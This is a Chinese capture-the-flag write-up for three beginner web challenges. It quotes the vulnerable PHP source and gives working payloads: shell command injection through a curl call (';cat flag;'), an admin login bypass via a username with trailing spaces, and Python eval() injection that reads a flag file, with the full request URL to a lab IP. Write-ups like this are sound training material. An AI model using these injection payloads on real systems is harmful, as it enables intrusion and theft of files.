>
>
CTFshow-萌新赛-Web部分Writeup
fffdy
签到题
<?php
if(isset($_GET['url'])){
system("curl https://".$_GET['url'].".ctf.show");
}else{
show_source(__FILE__);
}
?>
调用了 system() 这个函数,并且参数可控
尝试 ?url=;ls;
会显文件,有戏
?url=;cat flag;
签到成功!!!流泪
假赛生
<?php
session_start();
include('config.php');
if(empty($_SESSION['name'])){
show_source("index.php");
}else{
$name=$_SESSION['name'];
$sql='select pass from user where name="'.$name.'"';
echo $sql."<br />";
system('4rfvbgt56yhn.sh');
$query=mysqli_query($conn,$sql);
$result=mysqli_fetch_assoc($query);
if($name==='admin'){
echo "admin!!!!!"."<br />";
if(isset($_GET['c'])){
preg_replace_callback("/\w\W*/",function(){die("not allowed!");},$_GET['c'],1);
echo $flag;
}else{
echo "you not admin";
}
}
}
?>
用 admin 随便 login 几下,估计没戏
随便注册一个帐号,提示
想到曾经见过的一个操作 (我也不知道叫啥)
没限制空格,注册一个 admin (后面加点空格)
然后用这个帐号的密码就能登录 admin
还要传一个 c,有一个正则式匹配
我真地看不懂,但是阴差阳错空着 c 就提交了
然后 flag 就出来了
想想也对,没东西能匹配个啥
数学及格了
在 main.js 里面找到点东西
然后乱交了点东西,报错了
可以看到是用的 python 的 eval() 计算的,就存在漏洞
然后就去找 eval() 的骚操作
然后,各种尝试
发现了 __import__('os')
,开始的时候用的 __import__('os').system('dir')
结果老是 0
查了资料发现 system() 成功了会返回 0
好吧,换姿势,寻找 os 模块里的其他函数,然后找到了 listdir()
但是,他一直报错 QwQ
然而没有影响,报错的会显有我需要的东西
然后找到 flag,用 open() 和 read() 读取
http://124.156.121.112:5000/_calculate?number1=1*int(str(__import__('os').read(__import__('os').open('/home/ctf/web/flag',__import__('os').O_RDONLY),30)))
condor2048
大佬厉害了,着实牛逼。
讲解清晰易懂,让人醍醐灌顶。
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论